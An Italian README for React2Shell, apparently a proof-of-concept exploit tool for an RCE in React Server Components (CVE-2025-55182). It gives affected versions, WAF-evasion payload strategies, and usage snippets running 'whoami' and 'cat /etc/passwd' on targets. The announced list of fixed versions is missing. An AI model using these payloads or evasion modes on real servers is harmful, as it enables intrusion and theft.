React2Shell

React2Shell è una proof-of-concept (PoC) che dimostra una vulnerabilità di esecuzione remota di codice (RCE) di livello CRITICAL nei framework web moderni che utilizzano React Server Components (RSC).

Questa PoC ha come bersaglio CVE-2025-55182, una vulnerabilità con punteggio CVSS 10.0 che consente a remoti attaccanti non autenticati di eseguire comandi di sistema arbitrari tramite deserializzazione non sicura all'interno dell'implementazione di React Server Components.

🔍 Panoramica della Vulnerabilità

React2Shell sfrutta un difetto nel modo in cui React Server Components elaborano input non attendibili durante la fase di reidratazione.

La vulnerabilità ha origine nei pacchetti sottostanti react-server-dom-* responsabili della serializzazione e deserializzazione degli alberi dei componenti.

💥 Impatto

Le applicazioni che utilizzano versioni vulnerabili di React Server Components possono elaborare payload dannosi in un modo che porta a esecuzione remota di codice (RCE) con i privilegi del processo server.

Un attaccante può:

• Eseguire comandi di sistema arbitrari.
• Muoversi lateralmente verso infrastrutture interne.
• Esfiltrare dati sensibili.
• Interrompere la disponibilità del servizio.

Se la tua distribuzione corrisponde a una qualsiasi delle versioni vulnerabili elencate di seguito ed espone endpoint RSC, sei vulnerabile.

📦 Componenti Interessati

La vulnerabilità è presente nelle versioni 19.0.0, 19.1.0, 19.1.1 e 19.2.0 di:

• react-server-dom-parcel
• react-server-dom-webpack
• react-server-dom-turbopack

🎯 Framework e Versioni Interessati

Questi pacchetti sono integrati in diversi framework, inclusi ma non limitati a:

• Next.js
  • Versioni dalla 15.0.0 alla 16.0.6
  • Versioni canary successive a 14.3.0-canary.76
• Altri framework che utilizzano RSC (v19.0.0–19.2.0), come:
  • Vite
  • Parcel
  • React Router
  • RedwoodSDK
  • Waku

Qualsiasi framework che incorpori l'implementazione vulnerabile di React Server Components è potenzialmente interessato.

🛠 Caratteristiche e Funzionalità

React2Shell include un generatore modulare di payload progettato per bypassare le restrizioni comuni di Node.js e le regole WAF:

• Iniezione Standard

  • Utilizza process.mainModule.require
  • Prende di mira i bundle predefiniti di Next.js / Webpack.

• Bypass Asincrono

  • Utilizza import() dinamico per ambienti ESM rigidi in cui require non è disponibile.

• Offuscamento

  • Codifica stringhe sensibili (ad esempio, child_process) in buffer esadecimali per eludere le firme WAF ingenue.

• Fallback dei Moduli

  • Sfrutta module.createRequire per caricare moduli in contesti alternativi.

• Target Universale

  • Endpoint configurabili:
    • Next.js: root /
    • Waku: endpoint RSC come /RSC/foo.txt

🚀 Installazione

Prerequisiti

• Node.js v18.0.0 o successivo.

Configurazione

git clone https://github.com/rsch-io/CVE-2025-55182-React2Shell.git
cd CVE-2025-55182-React2Shell

npm install form-data

📖 Utilizzo

React2Shell è pensato per essere importato come modulo nei tuoi script di test.

1. Exploit di Base (Target Next.js)

Crea un file denominato exploit.js:

const React2Shell = require('./src/react2shell');

// Inizializza con l'URL di base del target
const target = new React2Shell('http://localhost:3000');

// Esegui il comando utilizzando la strategia "standard"
// Argomenti: execute(command, endpoint, strategy)
target.execute('whoami', '/', 'standard');

Quindi esegui:

node exploit.js

Nota

• endpoint deve essere impostato su una route abilitata per RSC (ad esempio, /, /RSC/foo.txt o endpoint RSC specifici del framework).
• strategy può essere modificata (ad esempio, standard, async, obfuscated o qualsiasi altra strategia implementata in react2shell).

2. Targeting di Waku / Endpoint Personalizzati

Waku e altri framework spesso espongono la gestione RSC su route specifiche:

// Target di un'applicazione Waku
// Nota: usa la strategia 'async' poiché Waku spesso utilizza ESM rigoroso
target.execute('ls -la', '/RSC/foo.txt', 'async');

3. Modalità Evasione WAF

Se il server blocca stringhe contenenti child_process, puoi usare la strategia obfuscated:

target.execute('cat /etc/passwd', '/', 'obfuscated');

🛡️ Risoluzione e Rimedio

Aggiorna immediatamente. Le versioni aggiornate di React e dei framework downstream interessati includono una gestione irrigidita degli input utente per prevenire comportamenti indesiderati. Tutti gli utenti dovrebbero passare a una versione corretta il prima possibile.

✅ Elenco Versioni Corrette

Di seguito l'elenco definitivo delle versioni corrette. Se la versione da te distribuita è inferiore a queste, sei vulnerabile.

Avviso per gli utenti di Next.js 14 Se stai utilizzando Next.js 14.3.0-canary.77 o una release canary successiva, sei vulnerabile. Devi effettuare immediatamente il downgrade all'ultima release stabile 14.x, poiché la vulnerabilità interessa l'implementazione sperimentale di RSC presente in quelle build canary.

⚠️ Disclaimer

Questo progetto è fornito solo per scopi di formazione e test di sicurezza autorizzati. L'utilizzo di questo strumento contro sistemi senza autorizzazione esplicita è illegale e non etico.

Gli autori non si assumono alcuna responsabilità per un uso improprio o per danni causati da questo strumento.

📄 Licenza

Questo progetto è concesso in licenza secondo i termini della MIT License. Consulta il file LICENSE per i dettagli.